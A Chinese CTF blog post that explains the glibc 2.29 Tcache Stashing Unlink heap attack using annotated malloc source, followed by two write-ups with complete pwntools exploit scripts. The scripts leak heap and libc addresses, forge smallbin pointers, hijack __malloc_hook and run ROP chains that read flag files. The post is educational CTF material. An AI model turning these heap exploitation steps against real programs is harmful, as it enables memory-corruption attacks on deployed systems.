Tcache Stashing Unlink Attack

161 篇文章 9 订阅
161 篇文章 9 订阅

Tcache Stashing Unlink Attack

Tcache Stashing Unlink Attack就是calloc的分配不从tcache bin里取chunk,calloc会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法插入到tcache bin里。首先,我们来看一下glibc 2.29的源码。

  1. /* 
  2.      If a small request, check regular bin.  Since these "smallbins" 
  3.      hold one size each, no searching within bins is necessary. 
  4.      (For a large request, we need to wait until unsorted chunks are 
  5.      processed to find best fit. But for small ones, fits are exact 
  6.      anyway, so we can check now, which is faster.) 
  7.    */  
  8.   
  9.   if (in_smallbin_range (nb))  
  10.     {  
  11.       idx = smallbin_index (nb);  
  12.       bin = bin_at (av, idx);  
  13.   
  14.       if ((victim = last (bin)) != bin) //取该索引对应的small bin中最后一个chunk  
  15.         {  
  16.           bck = victim->bk;  //获取倒数第二个chunk  
  17.       if (__glibc_unlikely (bck->fd != victim)) //检查双向链表完整性  
  18.         malloc_printerr ("malloc(): smallbin double linked list corrupted");  
  19.           set_inuse_bit_at_offset (victim, nb);  
  20.           bin->bk = bck; //victimsmall bin的链表中卸下  
  21.           bck->fd = bin;  
  22.   
  23.           if (av != &main_arena)  
  24.         set_non_main_arena (victim);  
  25.           check_malloced_chunk (av, victim, nb);  
  26. #if USE_TCACHE  
  27.       /* While we're here, if we see other chunks of the same size, 
  28.          stash them in the tcache.  */  
  29.       size_t tc_idx = csize2tidx (nb); //获取对应sizetcache索引  
  30.       if (tcache && tc_idx < mp_.tcache_bins) //如果该索引在tcache bin范围  
  31.         {  
  32.           mchunkptr tc_victim;  
  33.   
  34.           /* While bin not empty and tcache not full, copy chunks over.  */  
  35.           while (tcache->counts[tc_idx] < mp_.tcache_count  //tcache bin不为空并且没满,并且small bin不为空,则依次取最后一个chunk插入到tcache bin  
  36.              && (tc_victim = last (bin)) != bin)  
  37.         {  
  38.           if (tc_victim != 0)  
  39.             {  
  40.               bck = tc_victim->bk;  
  41.               set_inuse_bit_at_offset (tc_victim, nb);  
  42.               if (av != &main_arena)  
  43.             set_non_main_arena (tc_victim);  
  44.               bin->bk = bck; //将当前chunksmall bin里卸下  
  45.               bck->fd = bin;  
  46.                       //放入tcache bin  
  47.               tcache_put (tc_victim, tc_idx);  
  48.                 }  
  49.         }  
  50.         }  
  51. #endif  
  52.           void *p = chunk2mem (victim);  
  53.           alloc_perturb (p, bytes);  
  54.           return p;  
  55.         }  
  56.     }  

如上,我们看到,从small bin中取出最后一个chunk的时候,对双向链表做了完整性的检查,然而,后面将剩余chunk放入tcache bin的时候,却没有这个检查。然后,bck->fd = bin;这句代码,可以将bck->fd处写一个main_arena地址。如果我们可以控制bck,那么就能实现任意地址处写一个main_arena的地址。同理,如果我们能够控制small bin的bck,并且保证vuln_addr->fd = bck,那么就能分配到vuln_addr处。

为了加深理解,我们从两道题来巩固一下。

hitcon_ctf_2019_one_punch

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

Delete功能没有清空指针,可以double free。

以及UAF编辑

Add功能使用的是calloc分配,并且size的大小不在fastbin范围,因此用不了fastbin attack。

后面函数里使用malloc分配

但是要想利用后面函数,就得绕过if的检查,而此处是一个堆地址,我们不能直接修改,我们可以利用Tcache Stashing Unlink Attack将此处写一个main_arena地址,进而可以绕过if,执行malloc从tcache bin里分配到目标处。此处,我们的目的仅仅是往那个堆地址处写一个大于6的数据,在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,直到tcache bin填满,但是如果我们伪造了bck,第二次遍历的时候就会发生错误,因为目标处我们不可控。因此,我们只需要让其只进行第一次的遍历,那么,我们就得事先将对应的tcache bin里填满6个。为了绕过对small bin最后一个chunk的完整性检查,我们不能伪造最后一个chunk的bck,而应该伪造倒数第二个chunk的bck。因此,我们需要保证在small bin里有两个chunk

然后通过calloc取出最后一个chunk时,发生Tcache Stashing,从而将目标处写上一个main_arena地址。

  1. #0  
  2. add(0,'a'*0x218)  
  3. #1  
  4. add(1,'b'*0x80)  
  5. #1放入tcache bin 6次,剩余1个空位  
  6. for i in range(6):  
  7.    delete(1)  
  8.    edit(1,'b'*0x10)  

接下来,泄露堆地址和glibc地址

  1. for i in range(6):  
  2.    delete(0)  
  3.    edit(0,'a'*0x10)  
  4. delete(0)  
  5. show(0)  
  6. sh.recvuntil('hero name: ')  
  7. heap_addr = u64(sh.recv(6).ljust(8,'\x00'))  
  8. print 'heap_addr=',hex(heap_addr)  
  9. edit(0,'a'*0x10)  
  10. #得到unsorted bin  
  11. delete(0)  
  12. show(0)  
  13. sh.recvuntil('hero name: ')  
  14. main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))  
  15. malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)  
  16. libc_base = malloc_hook_addr - malloc_hook_s  

接下来,我们需要得到两个small bin。首先,得到第一个0x90的small bin

  1. #unsorted bin里切割0x190,剩余0x90  
  2. add(1,'a'*0x180)  
  3. #触发malloc_consolidate整理unsorted bin,放入small bin  
  4. add(1,'a'*0x400)  
  5. #gap  
  6. add(2,'a'*0x100)  

接下来,得到我们第二个small bin。

  1. for i in range(7):  
  2.    delete(1)  
  3.    edit(1,'a'*0x10)  
  4. #1放入unsorted bin  
  5. delete(1)  
  6. #unsorted bin里切割0x380,剩余0x90  
  7. add(2,'a'*0x370)  
  8. #触发malloc_consolidate整理unsorted bin,放入small bin  
  9. add(2,'a'*0x400)  

现在,我们要修改倒数第二个small bin的bk为目标地址,然后实施tcache stashing attack

  1. #修改倒数第二个头chunkbkfd不变  
  2. edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))  
  3. #Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了  
  4. add(1,'a'*0x80)  

现在,我们就可以调用后面函数了,那么通过UAF伪造tcache bin的next指针,分配到目标处。我们可以改写malloc_hook或者free_hook。如果没有开沙箱的话,我们直接改写为one_gadget即可,如果开啦,我们改为add rsp,0xXX,使得栈进入我们可控的buf区

#coding:utf8
from pwn import *

sh = process('./hitcon_ctf_2019_one_punch')
#sh = remote('node3.buuoj.cn',26885)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']

def add(index,content):
   sh.sendlineafter('>','1')
   sh.sendlineafter('idx:',str(index))
   sh.sendafter('hero name:',content)

def malloc(content):
   sh.sendlineafter('>','50056')
   sh.send(content)

def edit(index,content):
   sh.sendlineafter('>','2')
   sh.sendlineafter('idx:',str(index))
   sh.sendafter('hero name:',content)

def show(index):
   sh.sendlineafter('>','3')
   sh.sendlineafter('idx:',str(index))

def delete(index):
   sh.sendlineafter('>','4')
   sh.sendlineafter('idx:',str(index))

#0
add(0,'a'*0x218)
#1
add(1,'b'*0x80)
#1放入tcache bin 6次,剩余1个空位
for i in range(6):
   delete(1)
   edit(1,'b'*0x10)

for i in range(6):
   delete(0)
   edit(0,'a'*0x10)
delete(0)
show(0)
sh.recvuntil('hero name: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
edit(0,'a'*0x10)
#得到unsorted bin
delete(0)
show(0)
sh.recvuntil('hero name: ')
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
add_rsp_48 = libc_base + 0x000000000008cfd6
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
pop_rax = libc_base + 0x0000000000047cf8
syscall_ret = libc_base + 0x000000000010D022
open_addr = libc_base + libc.sym['open']
read_addr = libc_base +  libc.sym['read']
write_addr = libc_base + libc.sym['write']

print 'libc_base=',hex(libc_base)
print 'add_rsp_48=',hex(add_rsp_48)
#从unsorted bin里切割0x190,剩余0x90
add(1,'a'*0x180)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)

for i in range(7):
   delete(1)
   edit(1,'a'*0x10)
#1放入unsorted bin
delete(1)
#从unsorted bin里切割0x380,剩余0x90
add(2,'a'*0x370)
#触发malloc_consolidate整理unsorted bin,放入small bin
add(2,'a'*0x400)
#修改倒数第二个头chunk的bk,fd不变
edit(1,'a'*0x370 + p64(0) + p64(0x91) + p64(heap_addr + 0x180) + p64(heap_addr + 0x20 - 0x260))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了
add(1,'a'*0x80)
#将malloc_hook链接到tcache bin
edit(0,p64(malloc_hook_addr))
malloc('/flag\x00')
flag_addr = heap_addr
#写malloc_hook
malloc(p64(add_rsp_48))
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
add(1,rop)

sh.interactive()

RedPacket_SoEasyPwn1

此题与上一题差不多,直接贴上exp

#coding:utf8
from pwn import *

#sh = process('./RedPacket_SoEasyPwn1')
sh = remote('node3.buuoj.cn',28039)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
puts_s = libc.sym['puts']

def add(index,size,content):
   sh.sendlineafter('Your input:','1')
   sh.sendlineafter('idx:',str(index))
   idx = 0
   if size == 0x10:
      idx = 1
   elif size == 0xF0:
      idx = 2
   elif size == 0x300:
      idx = 3
   elif size == 0x400:
      idx = 4
   else:
      raise Exception('error size')
   sh.sendlineafter('How much do you want?',str(idx))
   sh.sendafter('content:',content)

def delete(index):
   sh.sendlineafter('Your input:','2')
   sh.sendlineafter('idx:',str(index))

def edit(index,content):
   sh.sendlineafter('Your input:','3')
   sh.sendlineafter('idx:',str(index))
   sh.sendafter('content:',content)

def show(index):
   sh.sendlineafter('Your input:','4')
   sh.sendlineafter('idx:',str(index))

def stackOverflow(payload):
   sh.sendlineafter('Your input:','666')
   sh.sendafter('What do you want to say?',payload)

for i in range(8):
   add(i,0x400,'a')
#六个chunk用于放入0x100的tcache bin
for i in range(8,14):
   add(i,0xF0,'b')
#得到0x410大小的unsorted bin
for i in range(14):
   delete(i)
#泄露堆地址
show(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露libc地址
show(7)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
open_addr = libc_base + open_s
read_addr = libc_base + read_s
puts_addr = libc_base + puts_s
print 'libc_base=',hex(libc_base)
rop_addr = heap_addr + 0x1F80
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
#rop += '/flag'.ljust(8,'\x00')
rop += '/password.txt\x00'

#从0x410的unsorted bin里切割一个0x310的空间,剩下的0x100的unsorted bin
add(0,0x300,'a')
#malloc一大的堆,使得unsorted bin里的0x100的chunk放入small bin
add(0,0x400,'b')
#挡住top chunk,不能小于0x100,不然会从得到的small bin里取,这样我们前面就白费
add(1,0x400,'a')
#我们使用同样的方法,来得到第二个0x100的unsorted bin
delete(0)
add(1,0x300,'a')
add(1,0x400,'b')
#修改第一个small bin的bk,指向目标地址
edit(0,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x1F70) + p64(heap_addr - 0x1010 + 0x800 - 0x10))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后面函数了
#我们顺便将rop布置在这个堆里
add(2,0xF0,rop)
#栈迁移到我们的rop里执行
stackOverflow('a'*0x80 + p64(rop_addr - 0x8) + p64(leave_ret))

sh.interactive()

 

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值